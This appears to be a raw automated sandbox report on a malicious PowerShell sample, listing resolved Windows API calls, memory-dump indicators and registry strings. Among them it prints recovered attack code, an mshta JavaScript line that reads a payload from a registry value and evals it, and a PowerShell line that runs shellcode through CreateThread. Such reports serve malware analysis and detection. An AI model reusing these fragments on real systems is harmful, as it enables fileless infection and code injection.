"powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter MsiSIPIsMyTypeOfFile (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter IsFileSupportedName (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter PsIsMyFileType (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter PsPutSignature (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter PsGetSignature (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CryptGetDefaultProviderW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00003436) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00003436)37:T5bd,Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "Win32API|Process and Thread Functions|CreateProcess|lpCurrentDirectory" (Indicator: "CreateProcess"; Source: "00000000-00005964.00000003.86793.00640000.00000004.mdmp") Found reference to API "Win32API|Process and Thread Functions|CreateProcess|lpProcessInformation|dwProcessId" (Indicator: "CreateProcess"; Source: "00000000-00005964.00000003.86793.00640000.00000004.mdmp, 00000000-00005964.00000003.86793.01E40000.00000004.mdmp") Found reference to API "Win32API|Process and Thread Functions|CreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00005964.00000003.86793.00640000.00000004.mdmp") Found reference to API "Win32API|Process and Thread Functions|CreateProcess|dwCreationFlags" (Indicator: "CreateProcess"; Source: "00000000-00005964.00000003.86793.00640000.00000004.mdmp")38:Tf17,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002164.00000002.85189.003C1000.00000020.mdmp") Found reference to API "NtCreateThreadEx" (Indicator: "CreateThread"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread),(gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0);" (Indicator: "CreateThread"; Source: "00000000-00005964.00000002.81275.018DC000.00000004.mdmp")39:T297d,"software\O3ZAC8p6" in Source: %WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe "javascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell");k9ucq8YmG="1w93T0B";Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");wHn6PWoz="3IWn79w";eval(Z1iZp);FqzehO81="5aGTYUI";" in Source: mshta.exe "riverobjectname.del_hklm\system\currentcontrolset\services\pvscsi" in Source: 00000000-00002164.00000001.84984.002A0000.00000004.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002164.00000002.85189.003C1000.00000020.mdmp "SOFTWARE\Classes" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "Software\Borland\Locales" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "HKLM\" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "HKCU\" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 